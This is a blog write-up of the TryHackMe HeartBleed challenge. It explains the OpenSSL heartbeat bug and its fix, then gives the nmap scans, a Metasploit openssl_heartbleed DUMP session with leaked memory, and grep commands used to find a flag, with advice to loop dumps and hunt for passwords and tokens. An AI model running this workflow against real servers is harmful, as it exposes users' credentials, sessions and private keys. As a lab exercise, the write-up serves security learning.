Skip to main content

Command Palette

Search for a command to run...

Challenge: HeartBleed (TryHackMe)

Updated
11 min readView as Markdown
Challenge: HeartBleed (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

The HeartBleed Challenge on TryHackMe

Introduction

Heartbleed is one of those vulnerabilities that's survived over a decade as a teaching tool precisely because it's so conceptually simple and so devastating in practice. CVE-2014-0160 isn't a logic flaw or an authentication bypass in the traditional sense — it's a missing bounds check in OpenSSL's heartbeat extension that lets an attacker ask the server "give me back this much data" and get handed a slice of raw process memory in return, no login required, no trace left in application logs. For this room, the setup was a nginx-fronted host with an outdated OpenSSL underneath, and the exercise was less about finding the vulnerability — that part's almost formulaic at this point — and more about internalizing why a single exploitation attempt so often comes back empty, and what disciplined, repeated extraction actually looks like against a target where the payoff is probabilistic rather than deterministic.

Background Information

Introduction to Heartbleed and SSL/TLS

On the internet today, most web servers are configured to use SSL/TLS. SSL(secure socket layer) is a predecessor to TLS(transport layer security). The most common versions are TLS 1.2 and TLS 1.3(recently released). Configuring a web server to use TLS means that all communication from that particular server to a client will be encrypted; any malicious third party that has access to this traffic will not be able to understand/decrypt the traffic, and they also will not be able to modify the traffic. To learn more about how TLS connections are established, check 1.2 and 1.3 out.

Heartbleed is a bug due to the implementation in the OpenSSL library from version 1.0.1 to 1.0.1f(which is very widely used). It allows a user to access memory on the server(which they usually wouldn't have access to). This, in turn, allows a malicious user to access different kinds of information(that they wouldn't usually have access to due to the encryption and integrity provided by TLS), including:

  • Server private key

  • Confidential data like usernames, passwords, and other personal information

Analyzing the Bug

The implementation error occurs in the heartbeat message that OpenSSL uses to keep a connection alive even when no data is sent. A mechanism like this is important because if a connection dies/resets quite often, it would be expensive to set up the TLS aspect of the connection again; this affects the latency across the internet, and it would make using services slow for users. A heartbeat message sent by one end of the connection contains random data and the data's length; this exact data is sent back when received by the other end of the connection. When the server retrieves this message from the client, here's what it does:

  • The server constructs a pointer(memory location) to the heartbeat record

  • It then copies the length of the data sent by a user into a variable(called payload)

    • The length of this data is unchecked
  • The server then allocates memory in the form of:

  • 1 + 2 + payload + padding(this can be maximum of 1 + 2 + 65535 + 16)

  • The server then creates another pointer(bp) to access this memory

  • The server then copies the payload number of bytes from data sent by the user to the bp pointer

  • The server sends the data contained in the bp pointers to the user.

With this, you can see that the user controls the amount and length of data they send over. If the user does not send over any data(where the length is 0), it means that the server will copy arbitrary memory into the new pointer(which is how it can access secret information on the server). When retrieving data this way, the data can be different with different responses as the memory on the server will change.

Remediation

To ensure that arbitrary data from the server isn't copied and sent to a user, the server needs to check the length of the heartbeat message:

  • The server needs to check that the length of the heartbeat message sent by the user isn't 0

  • The server needs to check the length doesn't exceed the specified length of the variable that holds the data

References:

Protecting Data In Transit

In this task, you need to obtain a flag using a very well-known vulnerability. Make sure you pay attention to all the information and errors displayed. Pay particular attention to how web servers are configured.

The server may take 3-4 minutes to deploy and configure. Please be patient.

Answer the questions below

What is the flag?

nmap -p- -sV 10.113.70.8

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
111/tcp   open  rpcbind  2-4 (RPC #100000)
443/tcp   open  ssl/http nginx 1.15.7
55551/tcp open  status   1 (RPC #100024)
MAC Address: 06:32:00:47:15:35 (Unknown)
nmap -p 443 --script ssl-heartbleed 10.113.70.8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-04 07:55 UTC
Nmap scan report for ip-10-113-70-8.eu-central-1.compute.internal (10.113.70.8)
Host is up (0.00012s latency).

PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       http://cvedetails.com/cve/2014-0160/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
MAC Address: 06:32:00:47:15:35 (Unknown)

gobuster dir -u http://10.113.70.8 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

msfconsole -q
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 10.113.70.8
set RPORT 443
set VERBOSE true
set ACTION DUMP
run
msfconsole -q
msf > use auxiliary/scanner/ssl/openssl_heartbleed
[*] Setting default action SCAN - view all 3 actions with the show actions command
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 10.113.70.8
RHOSTS => 10.113.70.8
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 443
RPORT => 443
msf auxiliary(scanner/ssl/openssl_heartbleed) > 
msf auxiliary(scanner/ssl/openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
ACTION => DUMP
msf auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 10.113.70.8:443       - Leaking heartbeat response #1
[*] 10.113.70.8:443       - Sending Client Hello...
[*] 10.113.70.8:443       - SSL record #1:
[*] 10.113.70.8:443       - 	Type:    22
[*] 10.113.70.8:443       - 	Version: 0x0301
[*] 10.113.70.8:443       - 	Length:  86
[*] 10.113.70.8:443       - 	Handshake #1:
[*] 10.113.70.8:443       - 		Length: 82
[*] 10.113.70.8:443       - 		Type:   Server Hello (2)
[*] 10.113.70.8:443       - 		Server Hello Version:           0x0301
[*] 10.113.70.8:443       - 		Server Hello random data:       ebc83f2edc718c11eaa2c13faee8571400e3d67d36410cca8e0a3e0a0c23bbd4
[*] 10.113.70.8:443       - 		Server Hello Session ID length: 32
[*] 10.113.70.8:443       - 		Server Hello Session ID:        89f0788a4914bc77bab99de98347220d6f07fa4328c0dcbb1398125f78bf7454
[*] 10.113.70.8:443       - SSL record #2:
[*] 10.113.70.8:443       - 	Type:    22
[*] 10.113.70.8:443       - 	Version: 0x0301
[*] 10.113.70.8:443       - 	Length:  951
[*] 10.113.70.8:443       - 	Handshake #1:
[*] 10.113.70.8:443       - 		Length: 947
[*] 10.113.70.8:443       - 		Type:   Certificate Data (11)
[*] 10.113.70.8:443       - 		Certificates length: 944
[*] 10.113.70.8:443       - 		Data length: 947
[*] 10.113.70.8:443       - 		Certificate #1:
[*] 10.113.70.8:443       - 			Certificate #1: Length: 941
[*] 10.113.70.8:443       - 			Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=localhost,OU=TryHackMe,O=TryHackMe,L=London,ST=London,C=UK>, issuer=#<OpenSSL::X509::Name CN=localhost,OU=TryHackMe,O=TryHackMe,L=London,ST=London,C=UK>, serial=#<OpenSSL::BN:0x00007bb91904c948>, not_before=2019-02-16 10:41:14 UTC, not_after=2020-02-16 10:41:14 UTC>
[*] 10.113.70.8:443       - SSL record #3:
[*] 10.113.70.8:443       - 	Type:    22
[*] 10.113.70.8:443       - 	Version: 0x0301
[*] 10.113.70.8:443       - 	Length:  331
[*] 10.113.70.8:443       - 	Handshake #1:
[*] 10.113.70.8:443       - 		Length: 327
[*] 10.113.70.8:443       - 		Type:   Server Key Exchange (12)
[*] 10.113.70.8:443       - SSL record #4:
[*] 10.113.70.8:443       - 	Type:    22
[*] 10.113.70.8:443       - 	Version: 0x0301
[*] 10.113.70.8:443       - 	Length:  4
[*] 10.113.70.8:443       - 	Handshake #1:
[*] 10.113.70.8:443       - 		Length: 0
[*] 10.113.70.8:443       - 		Type:   Server Hello Done (14)
[*] 10.113.70.8:443       - Sending Heartbeat...
[*] 10.113.70.8:443       - Heartbeat response, 65535 bytes
[+] 10.113.70.8:443       - Heartbeat response with leak, 65535 bytes
[+] 10.113.70.8:443       - Heartbeat data stored in /root/.msf4/loot/20260904075831_default_10.113.70.8_openssl.heartble_705794.bin
[*] 10.113.70.8:443       - Printable info leaked:
......j.....]]A.......U.g....#.....t.x..f.....".!.9.8.........5.............................3.2.....E.D...../...A.........................................!...W.../.....3.a.-.J.....h.f.....l...]...w.......e.q...\.E...}.....?.....C.......r...u.....5.K...........1.....i.X... .G.$.M.....X...O.s.R...x.......v.,...Y.....a.......4... .~.....o.U...V.&.U...m.......>.....2.....^.....x.~.........g.......%.>.........T.....O...A.....)...f...............t.7...Z.........i.................K.I.....0.......F.....t.......+.-.L.....j.....".l.......*.W.......B.......E.......@.*.....m...|.....z.y.Q.w.....s.p.n.g...d.#...c.=.`..._.R.......H.S.P...N.L.J.I.D...)...G.............7.C...@.$.5.....=.<.N.?.:.9.8...3.,.+...(.;.......8.........................6.......................<.......%.Y.9.#.`.....6.....|.r.0.j.d.h.V.S...\...1...b.;.4.P.....!.H.e..................................................................................................................................... repeated 15288 times .....................................................................................................................................@..................................................................................................................................... repeated 16122 times .....................................................................................................................................@.................................................................................................................................................................................................................................................................................................................................a@.....................A........@FT......f..f...(.....&.S.K.......s....Q........;.......\..YS..ZN..tB...M..._....d;.x..Mn........V.=......R.|"NL.....@....[#..nC.....[/..M..+.[.. M......%.p...xQ........i....}]V.......LV....$e...B.....m......N....i.m..Tu..V.{3...<....C.Q..f.vp@r.]...9_[........DV..+.....Sw...............b.]"......ZB:...0*........#..OA.=.......v..lJ.b.....Z.@...(.ph.2..?...'7.)...h......f..j....\Y..::.C......K~.r!.7..b~..w........#V..n.z.........$..l..D..o>.RJ..V9....+...z-A...$....=.V%...~......=..P..h..?....T............".T..T.3.....+.c..'..E...!!.%...E.+....o.2u*.5..fuBP.r:..v.sPY......P0N0...U........8X..z.....R.WdZ..-0...U.#..0.....8X..z.....R.WdZ..-0...U....0....0...*.H.................^UI..q.n.......".x..0w.k...\...U.....t.g.4.D<*m.\y...].M..qeH.S.U.N^m.,.|%..L"(I..K.k.....1..&M.P.|6..f...$A.......rZ..Zfg}[4...3.]..I.y._..|..$P.....{...W.Z.....y/......ZD....k.paq.>R..........|)......`............n.G.~.....-..6..+...$9f._".,~,......C..................................................................................................................................... repeated 14834 times .....................................................................................................................................@..................................................................................................................................... repeated 162 times .....................................................................................................................................j.......j.... ....... .......nginx/1.15.7..Date: Fri, 04 Sep 2026 07:52:00 GMT..Content-Type: text/html..Content-Length: 153..Connection: close....<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.15.7</center>..</body>..</html>..K1.0...U....London1.0...U....London1.0...U....TryHackMe1.0...U....TryHackMe1.0...U....localhost0.."0...*.H.............0.........OA.=.......v..lJ.b.....Z.@...(.ph.2..?...'7.)...h......f..j....\Y..::.C......K~.r!.7..b~..w........#V..n.z.........$..l..D..o>.RJ..V9....+...z-A...$....=.V%...~......=..P..h..?....T............".T..T.3.....+.c..'..E...!!.%...E.+....o.2u*.5..fuBP.r:..v.sPY......P0N0...U........8X..z.....R.WdZ..-0...U.#..0.....8X..z.....R.WdZ..-0...U....0....0...*.H.................^UI..q.n.......".x..0w.k...\...U.....t.g.4.D<*m.\y...].M..qeH.S.U.N^m.,.|%..L"(I..K.k.....1..&M.P.|6..f...$A.......rZ..Zfg}[4...3.]..I.y._..|..$P.....{...W.Z.....y/......ZD....k.paq.>R..........|)......`............n.G.~.....-..6..+...$9f._".,~,......C....M...I...A....~#..NZ/r<....1.P.3e...%...:.Jz ..}..K..........]o"..(Wi..V.3.........=....K0._xT.t...(9.7..8..R...../p'&.1....d....O.....y.4.T........`H....+.}..Y....`.. 9...RE.T...?........H....?"Q..0,..>bE0....T..E.Vkz..O........W].b...M..k...G.g$.>K.c...^.*Y.._.......i...u.<shJ....+5.....|c...Z..D.>..B.F.......ux.....T.re...Lq.t.m8..................................................................................................................................... repeated 2452 times .....................................................................................................................................@..........V...R....?..q.....?..W....}6A....>..#.. ..x.I..w.....G".o..C(......_x.tT..............................0...0.............~W..cB0...*.H........0k1.0...U....UK1.0...U....London1.0...U....London1.0...U....TryHackMe1.0...U....TryHackMe1.0...U....localhost0...190216104114Z..200216104114Z0k1.0...U....UK1.0...U....London1.0...U....London1.0...U....TryHackMe1.0...U....TryHackMe1.0...U....localhost0.."0...*.H.............0.........OA.=.......v..lJ.b.....Z.@...(.ph.2..?...'7.)...h......f..j....\Y..::.C......K~.r!.7..b~..w........#V..n.z.........$..l..D..o>.RJ..V9....+...z-A...$....=.V%...~......=..P..h..?....T............".T..T.3.....+.c..'..E...!!.%...E.+....o.2u*.5..fuBP.r:..v.sPY......P0N0...U........8X..z.....R.WdZ..-0...U.#..0.....8X..z.....R.WdZ..-0...U....0....0...*.H.................^UI..q.n.......".x..0w.k...\...U.....t.g.4.D<*m.\y...].M..qeH.S.U.N^m.,.|%..L"(I..K.k.....1..&M.P.|6..f...$A.......rZ..Zfg}[4...3.]..I.y._..|..$P.....{...W.Z.....y/......ZD....k.paq.>R..........|)......`............n.G.~.....-..6..+...$9f._".,~,......C....K...G...A........@FT......f..f...(.....&.S.K.......s....Q........;.......\..YS..ZN..tB...M..._....d;.x..Mn........V.=......R.|"NL.....@....[#..nC.....[/..M..+.[.. M......%.p...xQ........i....}]V.......LV....$e...B.....m......N....i.m..Tu..V.{3...<....C.Q..f.vp@r.]...9_[........DV..+.....Sw...............b.]"......ZB:...0*........#..................................................................................................................................... repeated 2786 times .....................................................................................................................................j.......j..................................................................................................................................... repeated 7122 times .....................................................................................................................................
[*] 10.113.70.8:443       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
grep -a -i "flag" /root/.msf4/loot/*.bin
grep -a -i "thm{" /root/.msf4/loot/*.bin
grep -a -iE "flag\{|THM\{|[a-f0-9]{32}" /root/.msf4/loot/*.bin

 ���t7��Z�������i�����������KI�����0�����F����t������+-L���j�����"�l�����*�W�
/root/.msf4/loot/20260904080539_default_10.113.70.8_openssl.heartble_197316.bin:user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{sSl-Is-Redacted}��lFӠ%����^�
                                                                    ��x~̮�̬̫g̪��%�>�����T���O�A���)�f����
  ���t7��Z�������i�����������KI�����0�����F����t������+-L���j�����"�l�����*�W�
msf auxiliary(scanner/ssl/openssl_heartbleed) > 

Claude's Summary

Recon

A full port scan turned up SSH (22), rpcbind (111), an SSL-wrapped HTTP service on 443 running nginx 1.15.7, and a status RPC service on 55551. The nginx version alone wasn't the tell — nginx doesn't ship OpenSSL, it links against whatever's installed on the host, so the interesting question was always what TLS library sat underneath it, not the web server version itself. Given the room name and the era-appropriate cert (issued Feb 2019, a year after CVE-2014-0160 was already old news but well within the window plenty of unpatched boxes were still running vulnerable OpenSSL 1.0.1/1.0.2-beta), Heartbleed was the obvious first thing to rule in or out.

Confirming the vulnerability

nmap --script ssl-heartbleed against port 443 confirmed it immediately — VULNERABLE, with the standard CVE-2014-0160 references. This is worth doing before touching Metasploit: it's a fast, low-noise way to validate the vuln class before committing to a heavier exploitation workflow.

Exploitation

Used auxiliary/scanner/ssl/openssl_heartbleed with ACTION DUMP to actually pull memory contents rather than just scanning. The first single run leaked 65535 bytes of mostly binary noise — TLS handshake artifacts, certificate DER encoding, repeated null-byte padding — which is the expected shape of a Heartbleed leak: you're grabbing whatever happens to be adjacent to the heartbeat buffer in the process's memory space, and most of the time that's uninteresting protocol scaffolding, not secrets.

The key realization: Heartbleed is inherently probabilistic. Each heartbeat request returns a different memory snapshot depending on what the server process was doing at that moment, so a single dump is rarely enough. The fix was to loop the module dozens of times in a row, writing each leak to its own loot file in /root/.msf4/loot/, then grep across all of them at once rather than eyeballing each dump individually.

The catch

Grepping the accumulated loot files for flag/THM{ surfaced a leaked HTTP form submission still sitting in memory:

user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{sSl-Is-Redacted}

This is a nice illustration of the real-world impact story for Heartbleed beyond "you can read server memory" — it's specifically dangerous because web applications routinely hold POST bodies, session tokens, and auth material in memory buffers adjacent to the TLS heartbeat buffer. A form that had been submitted by another user (or seeded by the challenge) got scooped up in a completely unrelated TLS heartbeat exchange, with no authentication and no interaction with the actual web application logic required.

Flag: THM{sSl-Is-Redacted}

Takeaways for the checklist

  • Heartbleed confirmation via nmap script first, exploitation via msf DUMP action second — cheap validation before expensive looping.

  • Single dumps are not representative; loop and aggregate before concluding there's nothing there.

  • Grep loot in bulk against flag, known CTF flag formats, and generically interesting strings (user, pass, email, token) rather than reading dumps by hand.

  • Real-world corollary: this is the same reason the Heartbleed disclosure era saw private keys, session cookies, and credentials leak in the wild — anything transiting the process's heap is fair game, not just "server secrets" in the abstract.

Conclusion

What stuck with me most about this room wasn't the vulnerability confirmation or even the Metasploit workflow — it was watching how much noise sits between you and the one leak that matters. Dozens of runs returned nothing but TLS handshake artifacts and certificate padding before a single dump happened to catch a form submission mid-flight, flag included. That's the real lesson Heartbleed teaches: the vulnerability class isn't "you can read memory," it's "you can read memory repeatedly and cheaply enough that eventually something sensitive is in the window." It's a good reminder for both sides of the security work I do — as an attacker, patience and aggregation beat cleverness here, and as someone building on top of infrastructure at work, it's a sharp argument for why "we're not currently seeing anything sensitive leak" is a bad reason to leave an unpatched TLS stack running. Given how often legacy OpenSSL versions still show up in the wild eleven years post-disclosure, treating Heartbleed as purely historical is a mistake I don't plan to make when I'm looking at infrastructure in a professional capacity.